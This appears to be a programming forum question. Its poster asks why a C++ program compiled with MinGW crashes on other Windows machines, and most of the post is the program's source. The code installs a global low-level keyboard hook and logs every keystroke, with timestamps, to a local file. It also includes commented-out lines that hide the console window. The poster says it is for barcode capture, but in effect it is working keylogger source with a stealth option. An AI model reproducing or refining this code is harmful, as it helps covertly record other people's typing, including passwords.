1

I have a problem with this code: i am using mingw and when i compile it using: g++ helloworld.cpp -o helloworld.exe it works on the machine that compiled it for hous no problems at all. but on other machines such as XP Pro it runs the first cout line and crashes here is the code (this is to capture barcodes not a key logger )

 #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <winuser.h>
    #include <iostream>
    #include <time.h>

    using namespace std;

    HHOOK KBDHOOK;
    KBDLLHOOKSTRUCT kbdStruct;
    int endbarcode = 0;


    int Save (int KS)
    {
    time_t rawtime;
    struct tm * timeinfo;
    char buffer[80];

        if ( (KS == 1) || (KS == 2) )
            return 0;

        FILE *OUTPUT_FILE;
        OUTPUT_FILE = fopen("log.txt", "a+");

        cout << KS << endl;

            if(endbarcode == 0)
            {
         time(&rawtime);
                timeinfo = localtime(&rawtime);
                strftime(buffer,80,"%Y-%m-%d %H:%M:%S ",timeinfo);
                puts(buffer);

                endbarcode = 1;
                fprintf(OUTPUT_FILE, "%s", buffer);
            }

            if (KS == 8)
            fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
            else if (KS == 13)
            {
                fprintf(OUTPUT_FILE, "%s", "\n");
                endbarcode = 0;
            }

            else if (KS == 32)
            fprintf(OUTPUT_FILE, "%s", " ");
            else if (KS == VK_TAB)
            fprintf(OUTPUT_FILE, "%s", "[TAB]");
                else if (KS == VK_SHIFT)
            fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
                else if (KS == VK_CONTROL)
            fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
                    else if (KS == VK_ESCAPE)
            fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
                    else if (KS == VK_END)
            fprintf(OUTPUT_FILE, "%s", "[END]");
                        else if (KS == VK_HOME)
            fprintf(OUTPUT_FILE, "%s", "[HOME]");
                        else if (KS == VK_LEFT)
            fprintf(OUTPUT_FILE, "%s", "[LEFT]");
                            else if (KS == VK_UP)
            fprintf(OUTPUT_FILE, "%s", "[UP]");
                            else if (KS == VK_RIGHT)
            fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
                                else if (KS == VK_DOWN)
            fprintf(OUTPUT_FILE, "%s", "[DOWN]");
                                else if (KS == 190 || KS == 110)
            fprintf(OUTPUT_FILE, "%s", ".");
                                else
                                    fprintf(OUTPUT_FILE, "%s", &KS);

    fclose (OUTPUT_FILE);
        return 0;
    }

    LRESULT CALLBACK LowLevelKeyboardPoc(int nCode, WPARAM wParam, LPARAM lParam)
    {
        if(nCode < 0)
            return CallNextHookEx(KBDHOOK, 0, wParam, lParam);

            if(nCode == HC_ACTION)
            {
            if(wParam == WM_KEYDOWN)
                {

            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            printf("%X\t%c\n", (unsigned int)kbdStruct.vkCode, (char)kbdStruct.vkCode);
            Save((unsigned int)kbdStruct.vkCode);
                }

                }


        return CallNextHookEx(KBDHOOK, nCode, wParam, lParam);
    }



    int main()
    {

        cout << "the main method has run" << endl;

       // HWND stelth;
      //  stelth = FindWindowA("ConsoleWindowClass", NULL);
      //  ShowWindow(stelth,0);
    if((KBDHOOK = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardPoc, GetModuleHandle(NULL), 0)) == NULL)
         {
             cout << "The hook NOT installed";
         }
         cout << "hook installed" << endl;
        MSG Message;
    while(GetMessage(&Message, NULL, 0, 0))
    {
    TranslateMessage(&Message);
    DispatchMessage(&Message);
    }
    GetLastError();

    UnhookWindowsHookEx(KBDHOOK);
    return 0;
    }
4

0 回答 0